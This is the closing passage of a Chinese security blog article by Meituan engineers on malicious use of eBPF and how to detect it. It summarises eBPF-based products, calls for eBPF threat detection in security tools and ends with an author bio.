在国外，云原生领域产品发展较快，涌现出一批批基于eBPF的产品，包括Cilium、Datadog 、Falco、Katran等，应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域，可以借鉴这些大型项目的研发经验，来加快产品建设，包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主，工程建设相关经验，我们将在以后的文章中分享。

总结

随着云原生快速发展，eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看，国外对这个方向的研究远比国内超前，我们再次呼吁大家，网络安全产品应当尽快具备eBPF相关威胁检测能力。本文跟大家探讨了基于eBPF技术的恶意利用与检测机制，其中提到的eBPF在防御检测产品研发、工程建设等内容，我们将在下一篇跟大家分享，敬请期待。

作者简介

陈驰、杨一、鑫博，均来自美团信息安全部。

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这个人很懒，什么都没有留下～
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